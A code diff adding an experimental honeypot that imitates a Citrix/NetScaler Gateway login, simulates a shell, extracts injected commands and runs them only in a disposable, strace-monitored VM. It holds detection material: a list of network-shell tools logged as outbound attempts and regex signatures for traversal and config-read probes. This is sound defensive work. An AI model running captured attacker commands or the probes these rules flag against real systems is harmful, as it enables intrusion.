@@ -0,0 +1,23 @@
|
|||||||
|
"""Minimal .env loader so local runs match the systemd EnvironmentFile. Never overwrites
|
||||||
|
variables already set in the environment."""
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
|
||||||
|
|
||||||
|
def load(path='.env'):
|
||||||
|
file = pathlib.Path(path)
|
||||||
|
if not file.is_file():
|
||||||
|
return
|
||||||
|
for line in file.read_text().splitlines():
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line.startswith('#') or '=' not in line:
|
||||||
|
continue
|
||||||
|
key, _, value = line.partition('=')
|
||||||
|
os.environ.setdefault(key.strip(), value.strip().strip('\'"'))
|
||||||
|
|
||||||
|
|
||||||
|
def env_int(name, default):
|
||||||
|
try:
|
||||||
|
return int(os.environ.get(name, default))
|
||||||
|
except (TypeError, ValueError):
|
||||||
|
return default
|
||||||
+92
@@ -0,0 +1,92 @@
|
|||||||
|
"""Local append-only event journal and inert, content-addressed evidence."""
|
||||||
|
import datetime
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
|
||||||
|
|
||||||
|
class EvidenceError(OSError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
class Evidence:
|
||||||
|
def __init__(self, directory, quota=1024 ** 3):
|
||||||
|
self.directory = pathlib.Path(directory)
|
||||||
|
self.directory.mkdir(parents=True, exist_ok=True, mode=0o700)
|
||||||
|
self.artifacts = self.directory / 'artifacts'
|
||||||
|
self.artifacts.mkdir(exist_ok=True, mode=0o700)
|
||||||
|
os.chmod(self.directory, 0o700)
|
||||||
|
os.chmod(self.artifacts, 0o700)
|
||||||
|
self.lock = threading.RLock()
|
||||||
|
self.quota = quota
|
||||||
|
self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file())
|
||||||
|
self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600)
|
||||||
|
os.fchmod(self.journal, 0o600)
|
||||||
|
|
||||||
|
def reserve(self, size):
|
||||||
|
if self.used + size > self.quota:
|
||||||
|
raise OSError('Evidence quota reached; preserve/archive evidence before restarting')
|
||||||
|
|
||||||
|
def emit(self, event, **data):
|
||||||
|
now = time.time_ns()
|
||||||
|
entry = dict(schema_version=2, event=event, time_ns=now,
|
||||||
|
timestamp=datetime.datetime.fromtimestamp(now / 1e9, datetime.timezone.utc).isoformat(timespec='microseconds'),
|
||||||
|
**data)
|
||||||
|
raw = (json.dumps(entry, ensure_ascii=True) + '\n').encode()
|
||||||
|
with self.lock:
|
||||||
|
self.reserve(len(raw))
|
||||||
|
with os.fdopen(os.dup(self.journal), 'ab') as output:
|
||||||
|
output.write(raw)
|
||||||
|
output.flush()
|
||||||
|
os.fsync(output.fileno())
|
||||||
|
self.used += len(raw)
|
||||||
|
|
||||||
|
def save(self, data):
|
||||||
|
digest = hashlib.sha256(data).hexdigest()
|
||||||
|
path = self.artifacts / (digest + '.bin')
|
||||||
|
with self.lock:
|
||||||
|
if not path.exists():
|
||||||
|
self.reserve(len(data))
|
||||||
|
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600)
|
||||||
|
try:
|
||||||
|
with os.fdopen(fd, 'wb') as output:
|
||||||
|
output.write(data)
|
||||||
|
output.flush()
|
||||||
|
os.fsync(output.fileno())
|
||||||
|
except BaseException:
|
||||||
|
path.unlink(missing_ok=True) # do not leave a partial blob with a full-content hash
|
||||||
|
raise
|
||||||
|
self.used += len(data)
|
||||||
|
return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name)
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
os.close(self.journal)
|
||||||
|
|
||||||
|
|
||||||
|
class RecordingReader:
|
||||||
|
"""Retain only bytes consumed by the HTTP parser, after TLS decryption."""
|
||||||
|
def __init__(self, source, limit):
|
||||||
|
self.source, self.limit = source, limit
|
||||||
|
self.data = bytearray()
|
||||||
|
self.truncated = False
|
||||||
|
|
||||||
|
def record(self, data):
|
||||||
|
room = max(0, self.limit - len(self.data))
|
||||||
|
self.data.extend(data[:room])
|
||||||
|
self.truncated |= len(data) > room
|
||||||
|
return data
|
||||||
|
|
||||||
|
def read(self, *args):
|
||||||
|
return self.record(self.source.read(*args))
|
||||||
|
|
||||||
|
def read1(self, *args):
|
||||||
|
return self.record(self.source.read1(*args))
|
||||||
|
|
||||||
|
def readline(self, *args):
|
||||||
|
return self.record(self.source.readline(*args))
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self.source.close()
|
||||||
@@ -0,0 +1,175 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Disposable Linux guest only. Never run on a workstation or collector."""
|
||||||
|
import base64
|
||||||
|
import hashlib
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
import signal
|
||||||
|
import stat
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
|
||||||
|
LOCK = threading.Lock()
|
||||||
|
LIMIT = 16 * 1024 * 1024
|
||||||
|
ACTIVE = None
|
||||||
|
ROOTS = ['/var/tmp', '/tmp', '/root', '/netscaler', '/nsconfig', '/usr/local/bin', '/etc']
|
||||||
|
|
||||||
|
|
||||||
|
def emit(event, content=None, **data):
|
||||||
|
if content is not None:
|
||||||
|
data['base64'] = base64.b64encode(content).decode()
|
||||||
|
with LOCK:
|
||||||
|
try:
|
||||||
|
print(json.dumps(dict(event=event, guest_time_ns=time.time_ns(), **data)), flush=True)
|
||||||
|
except (BrokenPipeError, OSError):
|
||||||
|
terminate()
|
||||||
|
os._exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
def scan():
|
||||||
|
result = {}
|
||||||
|
for root in ROOTS:
|
||||||
|
for folder, dirs, files in os.walk(root, followlinks=False):
|
||||||
|
dirs[:] = dirs[:128]
|
||||||
|
for name in files:
|
||||||
|
path = os.path.join(folder, name)
|
||||||
|
try:
|
||||||
|
s = os.lstat(path)
|
||||||
|
if stat.S_ISREG(s.st_mode):
|
||||||
|
result[path] = (s.st_ino, s.st_mtime_ns, s.st_ctime_ns, s.st_size, s.st_mode)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
if len(result) >= 20000:
|
||||||
|
return result
|
||||||
|
return result
|
||||||
|
|
||||||
|
|
||||||
|
def watch(stop, previous):
|
||||||
|
# ponytail: polling preserves observed versions; syscall trace records fast deletes/other paths.
|
||||||
|
while not stop.wait(.25):
|
||||||
|
current = scan()
|
||||||
|
for path in previous.keys() - current.keys():
|
||||||
|
emit('guest_file_deleted', path=path)
|
||||||
|
for path, info in current.items():
|
||||||
|
if previous.get(path) == info:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||||
|
with os.fdopen(fd, 'rb') as f:
|
||||||
|
if not stat.S_ISREG(os.fstat(f.fileno()).st_mode):
|
||||||
|
continue
|
||||||
|
data = f.read(LIMIT + 1)
|
||||||
|
emit('guest_file_version', content=data[:LIMIT], path=path, size=info[3],
|
||||||
|
mode=oct(info[4]), truncated=len(data) > LIMIT)
|
||||||
|
except OSError as e:
|
||||||
|
emit('guest_file_capture_error', path=path, error=str(e))
|
||||||
|
previous = current
|
||||||
|
|
||||||
|
|
||||||
|
def terminate(*_):
|
||||||
|
if ACTIVE is not None:
|
||||||
|
try:
|
||||||
|
os.killpg(ACTIVE.pid, signal.SIGKILL)
|
||||||
|
except ProcessLookupError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def open_beneath(path, flags, mode=0o600):
|
||||||
|
# Resolve every directory with NOFOLLOW, including mutable /var/tmp/uploads.
|
||||||
|
parts = pathlib.PurePosixPath(path).parts
|
||||||
|
if parts[0] != '/' or '..' in parts:
|
||||||
|
raise ValueError('invalid path')
|
||||||
|
directory = os.open('/', os.O_RDONLY | os.O_DIRECTORY)
|
||||||
|
try:
|
||||||
|
for part in parts[1:-1]:
|
||||||
|
new = os.open(part, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=directory)
|
||||||
|
os.close(directory)
|
||||||
|
directory = new
|
||||||
|
return os.open(parts[-1], flags | os.O_NOFOLLOW | os.O_NONBLOCK, mode, dir_fd=directory)
|
||||||
|
finally:
|
||||||
|
os.close(directory)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global ACTIVE
|
||||||
|
marker = pathlib.Path('/etc/decoy-disposable-guest')
|
||||||
|
if not marker.is_file() or marker.is_symlink():
|
||||||
|
raise SystemExit('Refusing execution outside disposable guest')
|
||||||
|
maximum = 4 * ((LIMIT + 2) // 3) + 131072
|
||||||
|
line = sys.stdin.buffer.readline(maximum + 1)
|
||||||
|
if len(line) > maximum or not line.endswith(b'\n'):
|
||||||
|
raise SystemExit('request limit')
|
||||||
|
data = json.loads(line)
|
||||||
|
if data['action'] == 'read':
|
||||||
|
path = pathlib.PurePosixPath(data['path'])
|
||||||
|
if not str(path).startswith('/netscaler/ns_gui/') or '..' in path.parts:
|
||||||
|
raise SystemExit('invalid webroot path')
|
||||||
|
fd = open_beneath(str(path), os.O_RDONLY)
|
||||||
|
with os.fdopen(fd, 'rb') as f:
|
||||||
|
if not stat.S_ISREG(os.fstat(f.fileno()).st_mode):
|
||||||
|
raise SystemExit('not regular file')
|
||||||
|
raw = f.read(LIMIT + 1)
|
||||||
|
emit('guest_http_file', content=raw[:LIMIT], path=str(path), truncated=len(raw) > LIMIT)
|
||||||
|
return
|
||||||
|
if data['action'] == 'upload':
|
||||||
|
raw = base64.b64decode(data['base64'], validate=True)
|
||||||
|
if len(raw) > LIMIT:
|
||||||
|
raise SystemExit('upload limit')
|
||||||
|
name = '/var/tmp/uploads/' + hashlib.sha256(raw).hexdigest() + '.bin'
|
||||||
|
os.makedirs('/var/tmp/uploads', mode=0o700, exist_ok=True)
|
||||||
|
# Never truncate attacker-selected symlinks, hardlinks, devices or existing files.
|
||||||
|
try:
|
||||||
|
fd = open_beneath(name, os.O_WRONLY | os.O_CREAT | os.O_EXCL)
|
||||||
|
except FileExistsError:
|
||||||
|
emit('guest_upload', path=name, bytes=len(raw), error='path exists; offguest original retained')
|
||||||
|
return
|
||||||
|
with os.fdopen(fd, 'wb') as f:
|
||||||
|
f.write(raw)
|
||||||
|
emit('guest_upload', path=name, bytes=len(raw))
|
||||||
|
return
|
||||||
|
if data['action'] != 'execute':
|
||||||
|
raise SystemExit('unknown action')
|
||||||
|
command = data['command']
|
||||||
|
if not isinstance(command, str) or len(command) > 65536:
|
||||||
|
raise SystemExit('command limit')
|
||||||
|
for sig in (signal.SIGHUP, signal.SIGTERM, signal.SIGINT):
|
||||||
|
signal.signal(sig, lambda *_: (terminate(), sys.exit(1)))
|
||||||
|
stop = threading.Event()
|
||||||
|
watcher = threading.Thread(target=watch, args=(stop, scan()), daemon=True)
|
||||||
|
watcher.start()
|
||||||
|
proc = subprocess.Popen(['strace', '-f', '-ttt', '-T', '-s', '4096', '-yy',
|
||||||
|
'/bin/bash', '-c', command], cwd='/var/tmp',
|
||||||
|
stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
|
||||||
|
start_new_session=True)
|
||||||
|
ACTIVE = proc
|
||||||
|
emit('guest_process_start', pid=proc.pid, command=command)
|
||||||
|
def drain(stream, event):
|
||||||
|
while chunk := stream.read1(32768):
|
||||||
|
emit(event, content=chunk)
|
||||||
|
readers = [threading.Thread(target=drain, args=(proc.stdout, 'guest_stdout'), daemon=True),
|
||||||
|
threading.Thread(target=drain, args=(proc.stderr, 'guest_syscalls_stderr'), daemon=True)]
|
||||||
|
for reader in readers:
|
||||||
|
reader.start()
|
||||||
|
try:
|
||||||
|
proc.wait(timeout=600)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
emit('guest_execution_limit', seconds=600)
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
os.killpg(proc.pid, signal.SIGKILL)
|
||||||
|
except ProcessLookupError:
|
||||||
|
pass
|
||||||
|
proc.wait()
|
||||||
|
for reader in readers:
|
||||||
|
reader.join(3)
|
||||||
|
time.sleep(.5)
|
||||||
|
stop.set()
|
||||||
|
watcher.join(2)
|
||||||
|
emit('guest_process_end', returncode=proc.poll())
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
+728
@@ -0,0 +1,728 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution."""
|
||||||
|
import argparse
|
||||||
|
import collections
|
||||||
|
import email.parser
|
||||||
|
import email.policy
|
||||||
|
import hashlib
|
||||||
|
import html
|
||||||
|
import http.server
|
||||||
|
import ipaddress
|
||||||
|
import os
|
||||||
|
import pathlib
|
||||||
|
import posixpath
|
||||||
|
import re
|
||||||
|
import secrets
|
||||||
|
import shlex
|
||||||
|
import ssl
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import urllib.parse
|
||||||
|
from trusted_proxy import source as proxy_source, forwarded_client
|
||||||
|
from evidence import Evidence, EvidenceError, RecordingReader
|
||||||
|
from env_file import load, env_int
|
||||||
|
|
||||||
|
MAX_BODY = 16 * 1024 * 1024
|
||||||
|
MAX_FILES = 64
|
||||||
|
MAX_FILE = 8192
|
||||||
|
MAX_SESSIONS = 128
|
||||||
|
MAX_PENDING = 16
|
||||||
|
TTL = 3600
|
||||||
|
WEBROOT = '/netscaler/ns_gui'
|
||||||
|
UI = pathlib.Path(__file__).parent / 'ui'
|
||||||
|
LOGIN = (UI / 'login.html').read_bytes()
|
||||||
|
# The login page is served at every entry point a Citrix Gateway exposes.
|
||||||
|
LOGIN_PATHS = {'/', '/vpn/', '/vpn/index.html', '/vpn/tmindex.html',
|
||||||
|
'/logon/LogonPoint/tmindex.html', '/logon/LogonPoint/index.html',
|
||||||
|
'/logon/LogonPoint/custom.html', '/menu/neo/'}
|
||||||
|
JS = 'application/javascript; charset=utf-8'
|
||||||
|
STATIC = {
|
||||||
|
'/logon/LogonPoint/login.js': ((UI / 'login.js').read_bytes(), JS),
|
||||||
|
'/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg': ((UI / 'background.jpg').read_bytes(), 'image/jpeg'),
|
||||||
|
'/vpn/media/citrixgateway_logo_white.png': ((UI / 'logo.png').read_bytes(), 'image/png'),
|
||||||
|
'/logon/LogonPoint/receiver/images/common/icon_vpn.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'),
|
||||||
|
'/vpn/images/AccessGateway.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'),
|
||||||
|
'/favicon.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'),
|
||||||
|
# Static NetScaler Gateway scripts scanners look for; symbols match the real rdx/CTXS namespace.
|
||||||
|
'/vpn/js/rdx.js': (b"window.CTXS=window.CTXS||{};window.rdx=window.rdx||{};"
|
||||||
|
b"rdx.base_view=function(){};rdx.utils={get_view:function(){}};\n", JS),
|
||||||
|
'/vpn/js/rdx/core/rdx.js': (b"window.rdx=window.rdx||{};rdx.base_view=rdx.base_view||function(){};"
|
||||||
|
b"rdx.utils={get_view:function(){}};\n", JS),
|
||||||
|
'/vpn/js/gateway_login_view.js': (b"rdx.gateway_login_view=function(){return new rdx.base_view();};\n", JS),
|
||||||
|
'/vpn/js/gateway_login_form_view.js': (b"rdx.gateway_login_form_view=function(){return rdx.utils.get_view();};\n", JS),
|
||||||
|
'/logon/LogonPoint/init.js': (b"var _ctxstxt_CitrixCopyright='Copyright (c) Citrix Systems, Inc.';"
|
||||||
|
b"window.CTXS=window.CTXS||{};CTXS.init=function(){};\n", JS),
|
||||||
|
'/logon/LogonPoint/receiver/js/ctxs.core.min.js': (b"window.CTXS=window.CTXS||{};CTXS.core={version:'1.0'};\n", JS),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class Session:
|
||||||
|
def __init__(self):
|
||||||
|
self.sid = secrets.token_hex(16)
|
||||||
|
self.seen = time.monotonic()
|
||||||
|
self.cwd = '/var/tmp'
|
||||||
|
self.files = {'/etc/passwd': 'root:*:0:0:Charlie &:/root:/bin/sh\n',
|
||||||
|
'/nsconfig/ns.conf': '# synthetic honeypot configuration\n'}
|
||||||
|
self.pending = collections.deque(maxlen=MAX_PENDING)
|
||||||
|
self.auth_started = time.monotonic()
|
||||||
|
self.auth_count = 0
|
||||||
|
|
||||||
|
def path(self, name):
|
||||||
|
# All paths stay dictionary keys, including traversal and absolute paths.
|
||||||
|
return posixpath.normpath(posixpath.join(self.cwd, name))
|
||||||
|
|
||||||
|
|
||||||
|
def commands(text):
|
||||||
|
"""Small shell-like grammar; unsupported constructs are recorded, never executed."""
|
||||||
|
lexer = shlex.shlex(text, posix=True, punctuation_chars=';&|<>')
|
||||||
|
lexer.whitespace_split = True
|
||||||
|
lexer.commenters = '#'
|
||||||
|
group = []
|
||||||
|
for token in lexer:
|
||||||
|
if token in (';', '&&', '||', '|', '&'):
|
||||||
|
if group:
|
||||||
|
yield group
|
||||||
|
group = []
|
||||||
|
else:
|
||||||
|
group.append(token)
|
||||||
|
if group:
|
||||||
|
yield group
|
||||||
|
|
||||||
|
|
||||||
|
def simulate(session, text, emit, download=None):
|
||||||
|
# ponytail: bounded subset, not a POSIX shell; add grammar only from captured evidence.
|
||||||
|
try:
|
||||||
|
groups = list(commands(text))
|
||||||
|
if len(groups) > 32:
|
||||||
|
emit('limit', resource='simulated_commands', total=len(groups), retained=32)
|
||||||
|
groups = groups[:32]
|
||||||
|
except ValueError:
|
||||||
|
emit('unsupported', reason='shell_parse', command=text)
|
||||||
|
return
|
||||||
|
for tokens in groups:
|
||||||
|
original = tokens[:]
|
||||||
|
dest, append = None, False
|
||||||
|
for operator in ('>>', '>'):
|
||||||
|
if operator in tokens:
|
||||||
|
index = tokens.index(operator)
|
||||||
|
if index + 1 < len(tokens):
|
||||||
|
dest, append = session.path(tokens[index + 1]), operator == '>>'
|
||||||
|
tokens = tokens[:index]
|
||||||
|
break
|
||||||
|
if not tokens:
|
||||||
|
continue
|
||||||
|
name, *args = tokens
|
||||||
|
name = posixpath.basename(name)
|
||||||
|
output = ''
|
||||||
|
supported = True
|
||||||
|
if name == 'id':
|
||||||
|
output = 'uid=0(root) gid=0(wheel) groups=0(wheel)\n'
|
||||||
|
elif name == 'whoami':
|
||||||
|
output = 'root\n'
|
||||||
|
elif name == 'uname':
|
||||||
|
output = 'FreeBSD ns 11.4-RELEASE-p17 FreeBSD 11.4-RELEASE-p17 amd64\n'
|
||||||
|
elif name == 'pwd':
|
||||||
|
output = session.cwd + '\n'
|
||||||
|
elif name == 'cd' and args:
|
||||||
|
session.cwd = session.path(args[0])
|
||||||
|
emit('virtual_directory_change', path=session.cwd)
|
||||||
|
elif name == 'cat':
|
||||||
|
for arg in args:
|
||||||
|
path = session.path(arg)
|
||||||
|
emit('virtual_file_read', path=path, exists=path in session.files,
|
||||||
|
content=session.files.get(path, '').encode())
|
||||||
|
output = ''.join(session.files.get(session.path(arg), 'cat: No such file or directory\n') for arg in args)
|
||||||
|
elif name == 'ls':
|
||||||
|
output = '\n'.join(sorted(session.files)) + '\n'
|
||||||
|
elif name == 'echo':
|
||||||
|
output = ' '.join(args) + '\n'
|
||||||
|
elif name == 'printf' and args:
|
||||||
|
if args[0] in ('%s', '%s\\n'):
|
||||||
|
output = ('\n' if args[0].endswith('\\n') else '').join(args[1:])
|
||||||
|
if args[0].endswith('\\n'):
|
||||||
|
output += '\n'
|
||||||
|
elif len(args) == 1 and '%' not in args[0]:
|
||||||
|
output = args[0].replace('\\n', '\n')
|
||||||
|
else:
|
||||||
|
supported = False
|
||||||
|
elif name == 'touch' and len(args) == 1:
|
||||||
|
dest = session.path(args[0])
|
||||||
|
output = session.files.get(dest, '')
|
||||||
|
elif name == 'rm':
|
||||||
|
for arg in args:
|
||||||
|
if not arg.startswith('-'):
|
||||||
|
path = session.path(arg)
|
||||||
|
emit('virtual_file_delete', path=path, exists=path in session.files,
|
||||||
|
content=session.files.get(path, '').encode())
|
||||||
|
session.files.pop(path, None)
|
||||||
|
elif name in ('curl', 'wget', 'nc', 'ncat', 'telnet', 'ssh', 'ftp', 'fetch'):
|
||||||
|
emit('outbound_attempt', argv=original, disposition='recorded_only')
|
||||||
|
if download and name in ('curl', 'wget', 'fetch'):
|
||||||
|
download(' '.join(original)) # GET and store the URL's bytes; never executed
|
||||||
|
supported = False
|
||||||
|
elif name in (':', 'true', 'mkdir'):
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
supported = False
|
||||||
|
emit('simulated_command' if supported else 'unsupported', argv=original,
|
||||||
|
cwd=session.cwd, output=output[:MAX_FILE], output_truncated=len(output) > MAX_FILE)
|
||||||
|
if dest and supported:
|
||||||
|
if dest in session.files or len(session.files) < MAX_FILES:
|
||||||
|
content = (session.files.get(dest, '') if append else '') + output
|
||||||
|
session.files[dest] = content[:MAX_FILE]
|
||||||
|
emit('virtual_file_write', path=dest, bytes=len(session.files[dest]),
|
||||||
|
content=session.files[dest].encode(),
|
||||||
|
truncated=len(content) > MAX_FILE)
|
||||||
|
else:
|
||||||
|
emit('limit', resource='virtual_files')
|
||||||
|
|
||||||
|
|
||||||
|
def extract(value):
|
||||||
|
"""Approximate the documented log-to-core-name transform, without running it."""
|
||||||
|
if not re.search(r'pitboss.*PPE.*(?:missed too many heartbeats|unexpectedly died)', value, re.I):
|
||||||
|
return None
|
||||||
|
if 'NSPPE' not in value:
|
||||||
|
return None
|
||||||
|
tail = 'NSPPE' + value.rsplit('NSPPE', 1)[1]
|
||||||
|
# The published backtick wrapper carries the full command, spaces included, anywhere in the line.
|
||||||
|
substitutions = re.findall(r'`([^`]+)`', tail)
|
||||||
|
if substitutions:
|
||||||
|
return ';'.join(substitutions)
|
||||||
|
fields = tail.replace('(', '').replace(')', '').split()
|
||||||
|
core = '-'.join(fields[:2])
|
||||||
|
if ';' not in core:
|
||||||
|
return None
|
||||||
|
# Simple semicolon injection without backticks.
|
||||||
|
return core.split(';', 1)[-1]
|
||||||
|
|
||||||
|
|
||||||
|
# Conservative, path-based indicators for known Citrix ADC/Gateway exploitation and probes.
|
||||||
|
# Every request is already logged in full; these labels make hunting fast without guessing.
|
||||||
|
SIGNATURES = (
|
||||||
|
('CVE-2019-19781', re.compile(r'/vpn/\.\./vpns|/vpns/(?:cfg|portal|scripts)|\.\./vpns', re.I)),
|
||||||
|
('path-traversal', re.compile(r'\.\.(?:/|%2f)|%2e%2e|%252e', re.I)),
|
||||||
|
('config-read', re.compile(r'/nsconfig/|/flash/nsconfig|/ns\.conf', re.I)),
|
||||||
|
('management-probe', re.compile(r'/(?:gwtest|rapi|cgi-bin|menu|nitro)/', re.I)),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_signatures(path):
|
||||||
|
raw = urllib.parse.unquote(path)
|
||||||
|
return [name for name, pattern in SIGNATURES if pattern.search(path) or pattern.search(raw)]
|
||||||
|
|
||||||
|
|
||||||
|
class Engine:
|
||||||
|
def __init__(self, emit, delay=1, save=None, fetcher=None):
|
||||||
|
self.sink, self.save = emit, save
|
||||||
|
self.delay = delay
|
||||||
|
self.sessions = collections.OrderedDict()
|
||||||
|
self.lock = threading.RLock()
|
||||||
|
self.backend = None
|
||||||
|
self.fetcher = fetcher
|
||||||
|
|
||||||
|
def emit(self, event, **data):
|
||||||
|
try:
|
||||||
|
if 'content' in data:
|
||||||
|
content = data.pop('content')
|
||||||
|
data['evidence'] = (self.save(content) if self.save else
|
||||||
|
dict(sha256=hashlib.sha256(content).hexdigest(), bytes=len(content)))
|
||||||
|
self.sink(event, **data)
|
||||||
|
except OSError as error:
|
||||||
|
raise EvidenceError(str(error)) from error
|
||||||
|
|
||||||
|
def session(self, peer):
|
||||||
|
# ponytail: per-source state merges clients behind NAT; use validated sessions if needed.
|
||||||
|
now = time.monotonic()
|
||||||
|
for key in list(self.sessions):
|
||||||
|
if now - self.sessions[key].seen > TTL:
|
||||||
|
self.emit('session_expired', peer=key, session=self.sessions[key].sid,
|
||||||
|
pending_dropped=len(self.sessions[key].pending))
|
||||||
|
del self.sessions[key]
|
||||||
|
if peer not in self.sessions:
|
||||||
|
if len(self.sessions) >= MAX_SESSIONS:
|
||||||
|
key, old = self.sessions.popitem(last=False)
|
||||||
|
self.emit('session_evicted', peer=key, session=old.sid, pending_dropped=len(old.pending))
|
||||||
|
self.sessions[peer] = Session()
|
||||||
|
state = self.sessions[peer]
|
||||||
|
state.seen = now
|
||||||
|
self.sessions.move_to_end(peer)
|
||||||
|
return state
|
||||||
|
|
||||||
|
def auth_attempt(self, state, context, path):
|
||||||
|
# ponytail: bounded fixed 5-minute window; raw events support later cross-window analysis.
|
||||||
|
with self.lock:
|
||||||
|
now = time.monotonic()
|
||||||
|
if now - state.auth_started >= 300:
|
||||||
|
state.auth_started, state.auth_count = now, 0
|
||||||
|
state.auth_count += 1
|
||||||
|
data = dict(context, path=path, attempts_in_window=state.auth_count,
|
||||||
|
window_seconds=300, threshold=10,
|
||||||
|
classification='suspected_brute_force' if state.auth_count >= 10 else 'auth_submission',
|
||||||
|
outcome='decoy_no_authentication')
|
||||||
|
self.emit('auth_attempt', **data)
|
||||||
|
if state.auth_count % 10 == 0:
|
||||||
|
self.emit('brute_force_suspected', **data)
|
||||||
|
|
||||||
|
def ingest(self, state, candidates, context=None):
|
||||||
|
context = dict(context or {}, session=state.sid)
|
||||||
|
for source, value in candidates:
|
||||||
|
command = extract(value)
|
||||||
|
if command is not None:
|
||||||
|
self.emit('injection_candidate', **context, source=source, value=value,
|
||||||
|
command=command, confidence='heuristic')
|
||||||
|
if len(state.pending) < MAX_PENDING:
|
||||||
|
state.pending.append((time.monotonic() + self.delay, command, context))
|
||||||
|
else:
|
||||||
|
self.emit('limit', **context, resource='pending_commands')
|
||||||
|
|
||||||
|
def tick(self):
|
||||||
|
pending_vm = []
|
||||||
|
with self.lock:
|
||||||
|
for state in self.sessions.values():
|
||||||
|
while state.pending and state.pending[0][0] <= time.monotonic():
|
||||||
|
_, command, context = state.pending.popleft()
|
||||||
|
if self.backend:
|
||||||
|
pending_vm.append((command, context))
|
||||||
|
continue
|
||||||
|
self.emit('simulation_start', **context, command=command)
|
||||||
|
download = (lambda text: self.fetcher.submit(text, context)) if self.fetcher else None
|
||||||
|
simulate(state, command, lambda event, **data: self.emit(event, **context, **data), download)
|
||||||
|
self.emit('simulation_end', **context)
|
||||||
|
for command, context in pending_vm:
|
||||||
|
self.backend.execute(command, context)
|
||||||
|
|
||||||
|
|
||||||
|
class Server(http.server.ThreadingHTTPServer):
|
||||||
|
daemon_threads = True
|
||||||
|
allow_reuse_address = True
|
||||||
|
|
||||||
|
def __init__(self, address, engine, tls=None, proxy_from=None, serve_guest_files=True,
|
||||||
|
trusted_forwarded=()):
|
||||||
|
self.engine, self.tls = engine, tls
|
||||||
|
self.proxy_from = proxy_from
|
||||||
|
self.serve_guest_files = serve_guest_files
|
||||||
|
# Only a hop (the PROXY-declared source) inside one of these networks may set client headers.
|
||||||
|
self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded]
|
||||||
|
self.capture_failed = False
|
||||||
|
self.slots = threading.BoundedSemaphore(32)
|
||||||
|
self.local = threading.local()
|
||||||
|
super().__init__(address, Handler)
|
||||||
|
|
||||||
|
def _trusts_forwarded(self, peer):
|
||||||
|
try:
|
||||||
|
address = ipaddress.ip_address(peer)
|
||||||
|
except ValueError:
|
||||||
|
return False
|
||||||
|
return any(address in network for network in self.trusted_forwarded)
|
||||||
|
|
||||||
|
def process_request(self, request, address):
|
||||||
|
if not self.slots.acquire(blocking=False):
|
||||||
|
self.engine.emit('connection_rejected', peer=address[0], peer_port=address[1], reason='connection_limit')
|
||||||
|
self.shutdown_request(request)
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
super().process_request(request, address)
|
||||||
|
except BaseException:
|
||||||
|
self.slots.release()
|
||||||
|
raise
|
||||||
|
|
||||||
|
def process_request_thread(self, request, address):
|
||||||
|
try:
|
||||||
|
request.settimeout(5)
|
||||||
|
if self.proxy_from:
|
||||||
|
original = address
|
||||||
|
address, header = proxy_source(request, original, self.proxy_from)
|
||||||
|
self.engine.emit('trusted_ingress', peer=address[0], peer_port=address[1],
|
||||||
|
transport_peer=original[0], transport_port=original[1], content=header)
|
||||||
|
if self.tls:
|
||||||
|
request = self.tls.wrap_socket(request, server_side=True)
|
||||||
|
# The hop that connected to us is the PROXY-declared source (or socket peer without PROXY).
|
||||||
|
self.local.trusted = self._trusts_forwarded(address[0])
|
||||||
|
super().process_request_thread(request, address)
|
||||||
|
except (OSError, ssl.SSLError, ValueError, UnicodeError):
|
||||||
|
if isinstance(sys.exc_info()[1], EvidenceError):
|
||||||
|
self.handle_error(request, address)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
self.engine.emit('transport_error', peer=address[0], peer_port=address[1],
|
||||||
|
error=type(sys.exc_info()[1]).__name__)
|
||||||
|
except EvidenceError as error:
|
||||||
|
self.stop_capture(error)
|
||||||
|
self.shutdown_request(request)
|
||||||
|
finally:
|
||||||
|
self.slots.release()
|
||||||
|
|
||||||
|
def handle_error(self, request, address):
|
||||||
|
error = sys.exc_info()[1]
|
||||||
|
if isinstance(error, EvidenceError):
|
||||||
|
self.stop_capture(error)
|
||||||
